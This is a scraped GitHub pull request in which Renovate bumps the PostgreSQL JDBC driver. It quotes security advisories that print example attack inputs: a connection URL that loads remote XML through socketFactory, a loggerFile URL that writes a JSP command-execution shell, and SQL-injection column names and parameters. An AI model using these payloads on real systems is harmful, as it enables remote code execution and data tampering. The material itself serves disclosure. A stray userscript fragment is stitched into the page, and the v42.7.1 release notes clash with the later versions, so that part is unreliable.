Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026
@renovate
renovateBot
deleted the

renovate/maven-org.postgresql-postgresql-vulnerability

branch
March 27, 2026 00:45
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
c29cb62 to
aa15a13CompareMarch 30, 2026 18:01
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Apr 28, 2026
@renovaterenovateBot
reopened this
Apr 28, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
aa15a13 to
45ddb13CompareApril 28, 2026 04:54
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
from
45ddb13 to
101b1f7CompareMay 7, 2026 00:12
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]May 7, 2026
Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


No reviews


Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms");
}
} catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY] - #62
Open
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Open
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 16, 2023•

edited

Loading

Copy link


Copy Markdown

ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
PackageChangeAgeConfidence
org.postgresql:postgresql (source)42.2.23 → 42.7.11ageconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
CVE-2022-21724 / GHSA-v7wg-cpwc-24m4
More information
Details
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Severity
  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc Arbitrary File Write Vulnerability
GHSA-673j-qm5f-xpv8
More information
Details
Overview
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
Impact
It is possible to specify an arbitrary filename in the loggerFileName connection parameter

"jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
Patches
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
Workarounds
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
Severity
Medium
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Path traversal in org.postgresql:postgresql
CVE-2022-26520 / GHSA-727h-hrw8-jg8q
More information
Details
In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.
Severity
Low
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names
CVE-2022-31197 / GHSA-r38f-c4h4-hqq2
More information
Details
Impact
What kind of vulnerability is it? Who is impacted?
The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ;, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.
User applications that do not invoke the ResultSet.refreshRow() method are not impacted.
User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.
For example:
CREATETABLErefresh_row_example (
id intPRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * "int
);
This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row, would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.
As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.
Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check that you are not using the ResultSet.refreshRow() method.
If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.
Severity
  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
TemporaryFolder on unix-like systems does not limit access to created files
CVE-2022-41946 / GHSA-562r-vg33-8x8h
More information
Details
Vulnerability
PreparedStatement.setText(int, InputStream)

and
PreparedStatemet.setBytea(int, InputStream)
will create a temporary file if the InputStream is larger than 51k
Example of vulnerable code:
Strings = "some very large string greater than 51200 bytes";
PreparedStatement.setInputStream(1, newByteArrayInputStream(s.getBytes()) );
This will create a temporary file which is readable by other users on Unix like systems, but not MacOS.
Impact

On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.
When analyzing the impact of this vulnerability, here are the important questions to ask:
Is the driver running in an environment where the OS has other untrusted users.

If yes, and you answered 'yes' to question 1, this vulnerability impacts you.

If no, this vulnerability does not impact you.

Patches

Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.
Java 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1

Java 1.7 users: this vulnerability is fixed in 42.2.27.jre7

Java 1.6 and lower users: no patch is available; you must use the workaround below.

Workarounds

If you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.
References
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Fix commit pgjdbc/pgjdbc@9008dc9

Similar Vulnerabilities

Google Guava - https://github.com/google/guava/issues/4011

Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945

JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824
Severity
  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
org.postgresql:postgresql vulnerable to SQL Injection via line comment generation
CVE-2024-1597 / GHSA-24rp-q3w6-vc56
More information
Details
Impact
SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.
There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.
Exploitation
To exploit this behavior the following conditions must be met:
  1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. -)
  2. There must be a second placeholder for a string value after the first placeholder on the same line.
  3. Both parameters must be user controlled.
The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a -- SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.
When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.
Example
PreparedStatementstmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSetrs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:
SELECT--1,'WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.
Patch
Problem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7
The patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:
SELECT-('-1'::int4), ('WHERE false --')
Workarounds
Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)
Severity
  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
CVE-2026-42198 / GHSA-98qh-xjc8-98pq
More information
Details
Summary
pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact
A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.

With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.

A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
  1. The connection uses SCRAM-SHA-256 authentication.
  2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
  3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
  • the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
  • the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
  • the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
  • the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
  • an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
  • an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches
The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
  1. Only connect to trusted PostgreSQL servers whose identity is verified.
    
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.
    
TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
  2. Do not rely on loginTimeout as a complete mitigation on unpatched versions.
    
On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
  3. Avoid SCRAM on untrusted or interceptable connection paths.
    
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
  4. Reduce blast radius operationally.
    
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
  5. On trusted servers you control, keep SCRAM iteration counts at ordinary values.
    
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pgjdbc/pgjdbc (org.postgresql:postgresql)
v42.7.11
Security
  • fix: Limit SCRAM PBKDF2 iterations accepted from the server.
    
pgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.
    
See the Security Advisory for more detail.
    
The following CVE-2026-42198 has been issued.
Added
  • feat: implement require_auth connection property, aligning with libpq behavior PR #​3895
Changed
  • chore: replace Appveyor CI with ikalnytskyi/action-setup-postgres PR #​3966
  • chore: upgrade Gradle to v9 PR #​3978
Fixed
  • fix: ensure extended protocol messages end with Sync message PR #​3728
  • fix: enable cursor-based fetching in extended protocol when transaction started via SQL command PR #​3996
  • fix: retry with SSL on IOException when sslMode=ALLOW PR #​3973
  • fix: make sure the driver honours connectTimeout when retrying the connection PR #​3968
  • fix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in PR #​3968
  • fix: catch SecurityException from setContextClassLoader on ForkJoinPool workers PR #​3962
  • fix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly PR #​3961
  • fix: release COPY lock on IOException to prevent connection hang PR #​3957
  • fix: return jsonb as PGObject instead of String PR #​3956
  • fix: align SSL key file permission check with libpq PR #​3952
  • fix: guard connection closed flag with a reentrant lock to protect against concurrent close PR #​3905
v42.7.10
Changed
  • chore: Migrate to Shadow 9 PR 3931
  • style: fix empty line before javadoc for checkstyle compliance PR #​3925
  • style: fix lambda argument indentation for checkstyle compliance PR #​3922
  • test: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs PR #​3917
Fixed
  • fix: non-standard strings failing test for version 19 PR #​3934
  • fix: small issues in ConnectionFactoryImpl PR #​3929
  • fix: process pending responses before fastpath to avoid protocol errors PR # 3913
  • doc: use.md, fix typos PR #​3911
  • doc: datasource.md, fix minor formatting issue PR #​3912
  • doc: add the new PGP signing key to the official documentation PR #​3912
Reverted
v42.7.9
Compare Source
Added
  • feat: query timeout property PR #​3705
  • feat: Add PEMKeyManager to handle PEM based certs and keys PR #​3700
Changed
  • perf: optimize PGInterval.getValue() by replacing String.format with StringBuilder
  • doc: update property quoteReturningIdentifiers default value PR #​3847
  • security: Use a static method forName to load all user supplied classes. Use the Class.forName 3 parameter method and do not initilize it unless it is a subclass of the expected class
Fixed
  • fix: incorrect pg_stat_replication.reply_time calculation PR #​3906
  • fix: close temporary lob descriptors that are used internally in PreparedStatement#setBlob
  • fix: PGXAConnection.prepare(Xid) should return XA_RDONLY if the connection is read only PR #​3897
  • fix: make all Calendar instances proleptic Gregorian PR #​3837
  • fix: Simplify concurrency guards on QueryExecutorBase#transaction and QueryExecutorBase#standardConformingStrings PR #​3897
  • fix: avoid memory leaks in Java <= 21 caused by Thread.inheritedAccessControlContext PR #​3886
  • fix: Issue #​3784 pgjdbc can't decode numeric arrays containing special numbers like NaN PR #​3838
  • fix: use ssl_is_used() to check for ssl connection PR #​3867
  • fix: the classloader is nullable PR #​3907
v42.7.8
Compare Source
Added
  • feat: Add configurable boolean-to-numeric conversion for ResultSet getters PR #​3796
Changed
  • perf: remove QUERY_ONESHOT flag when calling getMetaData PR #​3783
  • perf: use BufferedInputStream with FileInputStreamPR #​3750
  • perf: enable server-prepared statements for DatabaseMetaData
Fixed
  • fix: avoid NullPointerException when cancelling a query if cancel key is not known yet
  • fix: Change "PST" timezone in TimestampTest to "Pacific Standard Time" PR #​3774
  • fix: traverse the current dimension to get the correct pos in PgArray#calcRemainingDataLength PR #​3746
  • fix: make sure getImportedExportedKeys returns columns in consistent order
  • fix: Add "SELF_REFERENCING_COL_NAME" field to getTables' ResultSetMetaData to fix NullPointerException PR #​3660
  • fix: unable to open replication connection to servers < 12
  • fix: avoid closing statement caused by driver's internal ResultSet#close()
  • fix: return empty metadata for empty catalog names as it was before
  • fix: Incorrect class comparison in PGXmlFactoryFactory validation
v42.7.7
Security
  • security: Client Allows Fallback to Insecure Authentication Despite channelBinding=require configuration.
    
Fix channel binding required handling to reject non-SASL authentication
    
Previously, when channel binding was set to "require", the driver would silently ignore this
    
requirement for non-SASL authentication methods. This could lead to a false sense of security
    
when channel binding was explicitly requested but not actually enforced. The fix ensures that when
    
channel binding is set to "require", the driver will reject connections that use
    
non-SASL authentication methods or when SASL authentication has not completed properly.
    
See the Security Advisory for more detail. Reported by George MacKerron
    
The following CVE-2025-49146 has been issued
Added
  • test: Added ChannelBindingRequiredTest to verify proper behavior of channel binding settings
v42.7.6
Features
  • fix: Enhanced DatabaseMetadata.getIndexInfo() method, added index comment as REMARKS property PR #​3513
Performance Improvements
  • performance: Improve ResultSetMetadata.fetchFieldMetaData by using IN row values instead of UNION ALL for improved query performance (later reverted) PR #​3510
  • feat:Use a single simple query for all startup parameters, so groupStartupParameters is no longer needed PR #​3613
v42.7.5
Added
Fixed
  • regression: revert change in fc60537PR #​3476
  • fix: PgDatabaseMetaData implementation of catalog as param and return value PR #​3390
  • fix: Support default GSS credentials in the Java Postgres client PR #​3451
  • fix: return only the transactions accessible by the current_user in XAResource.recover PR #​3450
  • feat: don't force send extra_float_digits for PostgreSQL >= 12 fix Issue #​3432PR #​3446
  • fix: exclude "include columns" from the list of primary keys PR #​3434
  • perf: Enhance the meta query performance by specifying the oid. PR #​3427
  • feat: support getObject(int, byte[].class) for bytea PR #​3274
  • docs: document infinity and some minor edits PR #​3407
  • fix: Added way to check for major server version, fixed check for RULE PR #​3402
  • docs: fixed remaining paragraphs PR #​3398
  • docs: fixed paragraphs in javadoc comments PR #​3397
  • fix: Reuse buffers and reduce allocations in GSSInputStream addresses Issue #​3251PR #​3255
  • chore: Update Gradle to 8.10.2 PR #​3388
  • fix: getSchemas() PR #​3386
  • fix: Update rpm postgresql-jdbc.spec.tpl with scram-client PR #​3324
  • fix: Clearing thisRow and rowBuffer on close() of ResultSet Issue #​3383PR #​3384
  • fix: Package was renamed to maven-bundle-plugin PR #​3382
  • fix: As of version 18 the RULE privilege has been removed PR #​3378
  • fix: use buffered inputstream to create GSSInputStream PR #​3373
  • test: get rid of 8.4, 9.0 pg versions and use >= jdk version 17 PR #​3372
  • Changed docker-compose version and renamed script file in instructions to match the real file name PR #​3363
  • test:Do not assume "test" database in DatabaseMetaDataTransactionIsolationTest PR #​3364
  • try to categorize dependencies PR #​3362
v42.7.4
Added
  • chore: SCRAM dependency to 3.1 and support channel binding PR #​3188
  • chore: Add PostgreSQL 15, 16, and 17beta1 to CI tests PR #​3299
  • test: Update to 17beta3 PR #​3308
  • chore: Implement direct SSL ALPN connections PR #​3252
  • translation: Add Korean translation file PR #​3276
Fixed
  • fix: PgInterval ignores case for represented interval string PR #​3344
  • perf: Avoid extra copies when receiving int4 and int2 in PGStream PR #​3295
  • fix: Add support for Infinity::numeric values in ResultSet.getObject PR #​3304
  • fix: Ensure order of results for getDouble PR #​3301
  • perf: Replace BufferedOutputStream with unsynchronized PgBufferedOutputStream, allow configuring different Java and SO_SNDBUF buffer sizes PR #​3248
  • fix: Fix SSL tests PR #​3260
  • fix: Support bytea in preferQueryMode=simple PR #​3243
  • fix: Fix #​3234 - Return -1 as update count for stored procedure calls PR #​3235
  • fix: Fix #​3224 - conversion for TIME '24:00' to LocalTime breaks in binary-mode PR #​3225
  • perf: Speed up getDate by parsing bytes instead of String PR #​3141
  • fix: support PreparedStatement.setBlob(1, Blob) and PreparedStatement.setClob(1, Clob) for lobs that return -1 for length PR #​3136
  • fix: Validates resultset Params in PGStatement constructor. uses assertThro… PR #​3171
  • fix: Validates resultset parameters PR #​3167
  • docs: Replace greater to with greater than PR #​3315
  • docs: Clarify binaryTransfer and prepareThreshold PR #​3338
  • docs: use.md, typo PR #​3314
  • test: Use docker v2 which changes docker-compose to docker compose #​3339
  • refactor: Merge PgPreparedStatement#setBinaryStream int and long methods PR #​3165
  • test: Test both binaryMode=true,false when creating connections in DatabaseMetaDataTest PR #​3231
  • docs: Fixed typos in all source code and documentations PR #​3242
  • chore: Remove self-hosted runner PR #​3227
  • docs: Add cancelSignalTimeout in README PR #​3190
  • docs: Document READ_ONLY_MODE in README PR #​3175
  • test: Test for +/- infinity double values PR #​3294
  • test: Switch localhost and auth-test around for test-gss PR #​3343
  • fix: remove preDescribe from internalExecuteBatch PR #​2883
  • deps: Update dependency om.ongres.scram:scram-client to 3.2
Deprecated
  • test: Deprecate all PostgreSQL versions older than 9.1 PR #​3335
v42.7.3
Changed
Fixed
  • fix: boolean types not handled in SimpleQuery mode PR #​3146
    • make sure we handle boolean types in simple query mode
    • support uuid as well
    • handle all well known types in text mode and change else if to switch
  • fix: released new versions of 42.2.29, 42.3.10, 42.4.5, 42.5.6, 42.6.2 to deal with NoSuchMethodError on ByteBuffer#position when running on Java 8
v42.7.2
Security
  • security: SQL Injection via line comment generation, it is possible in SimpleQuery mode to generate a line comment by having a placeholder for a numeric with a -
    
such as -?. There must be second placeholder for a string immediately after. Setting the parameter to a -ve value creates a line comment.
    
This has been fixed in this version fixes CVE-2024-1597. Reported by Paul Gerste. See the security advisory for more details. This has been fixed in versions 42.7.2, 42.6.1 42.5.5, 42.4.4, 42.3.9, 42.2.28.jre7. See the security advisory for work arounds.
Changed
  • fix: Use simple query for isValid. Using Extended query sends two messages checkConnectionQuery was never ever set or used, removed PR #​3101
  • perf: Avoid autoboxing bind indexes by @​bokken in PR #​1244
  • refactor: Document that encodePassword will zero out the password array, and remove driver's default encodePassword by @​vlsi in PR #​3084
Added
  • feat: Add PasswordUtil for encrypting passwords client side PR #​3082
v42.7.1
Added
  • feat: invalidate the prepared-statement cache when the server reports a search_path change via GUC_REPORT (PostgreSQL 18+), so cached plans are no longer used against the wrong schema PR #​4259
  • feat: reWriteBatchedInserts now merges up to 32768 rows into one multi-values INSERT (bounded by the 65535 bind-parameter limit on the extended protocol) instead of capping at 128, which speeds up batches of few-column rows. The new reWriteBatchedInsertsSize connection property lowers that cap when set; the default of 0 uses that maximum. PR #​4207
  • feat: invalidate the prepared-statement cache after CREATE/DROP/ALTER so callers no longer trip on "cached plan must not change result type" without opting into autosave=ALWAYS. Controlled by the new flushCacheOnDdl connection property (default true); set to false for the prior behaviour. PR #​4067
  • feat: add connectExecutor connection property to customize the Executor used to run the worker task that performs the connection attempt when loginTimeout is in effect. The value is the fully qualified name of a class implementing java.util.concurrent.Executor. With a null value, the default, the driver retains the prior behavior of running the connection attempt on a daemon thread named "PostgreSQL JDBC driver connection thread". The executor must run the task on a thread other than the caller's. Running the attempt on a named thread lets applications that monitor driver-created threads identify it. PR #​4165
  • feat: add classLoaderStrategy connection property to control which classloaders the driver searches when loading a class named by a connection property, for example socketFactory. The default driver-first now falls back to the thread context classloader when the driver's classloader cannot resolve the class, which fixes class loading in non-flat class paths such as Quarkus and OSGi. Set driver to keep the previous driver-classloader-only behaviour, or context-first to prefer the thread context classloader Issue #​2112PR #​4167
  • feat: add OID constants for geometric arrays, RECORD, and refcursorPR #​4220
  • feat: LargeObjectBlobInputStream now skips by seeking instead of reading, and the driver exposes the server version so it can select the 64-bit large-object API where available PR #​4204
Changed
  • refactor: the worker that runs the connection attempt under loginTimeout is now a FutureTask (ConnectTask) instead of the hand-rolled ConnectThread. When the caller hits the timeout, the task is now cancelled with cancel(true), which interrupts the worker thread rather than letting it run to completion. This makes the connection attempt interruptible, so loginTimeout can stop a slow connection attempt instead of leaking a thread. As before, a connection that the worker still manages to establish after the caller gives up is closed by the worker so that it does not leak. There are no public API changes and this should only lead to faster background resource cleanup for connections that time out. PR #​4120
  • chore: PGXAConnection.ConnectionHandler now rejects setAutoCommit(false) and setSavepoint(...) during an active XA branch, in addition to the long-rejected setAutoCommit(true) / commit() / rollback(). The setSavepoint rejection was already meant to be in place but the guard misspelled the method name as setSavePoint, so savepoints silently went through. Both changes bring the proxy in line with JTA 1.2 §3.4. PR #​4114
  • chore: commitPrepared / rollback-of-prepared now return XAER_RMFAIL instead of XAER_RMERR when the underlying connection is left in a non-idle TransactionState. Transaction managers (Geronimo, Narayana, Atomikos) treat XAER_RMFAIL as retryable on a fresh XAResource; the prepared transaction is no longer abandoned. PR #​4114
  • refactor: derive getPrimaryKeys from pg_constraint.conkeyPR #​4202
Fixed
  • fix: the published GitHub release now ships the released postgresql-<version>.jar and its detached PGP signature, taken from the same signed build that is uploaded to Maven Central, instead of a leftover SNAPSHOT jar Issue #​3812PR #​3814
  • fix: simplify the Statement#cancel state machine by dropping the redundant CANCELLED state. killTimerTask now waits for the state to return to IDLE directly, which removes a spin-forever case when more than one thread observes the cancel completing PR #​1827.
  • perf: defer simple-query flushes until the driver reads the response, allowing BEGIN and the following query to share a network flush Issue #​3894PR #​4196
  • fix: reWriteBatchedInserts no longer throws IllegalArgumentException when batching a parameterless INSERT (for example INSERT INTO t VALUES (1, 2)) of 256 rows or more PR #​4207
  • fix: a comment before CALL in a CallableStatement no longer hides the native call, so OUT parameter registration works for /* comment */ call proc(?, ?) and similar. Parser.modifyJdbcCall now skips leading whitespace and SQL comments (both -- and /* */) before the call, tolerates a trailing comment after a { ... } escape, and no longer adds a spurious comma when moving an OUT parameter into a call whose arguments are only a comment Issue #​2538PR #​4209
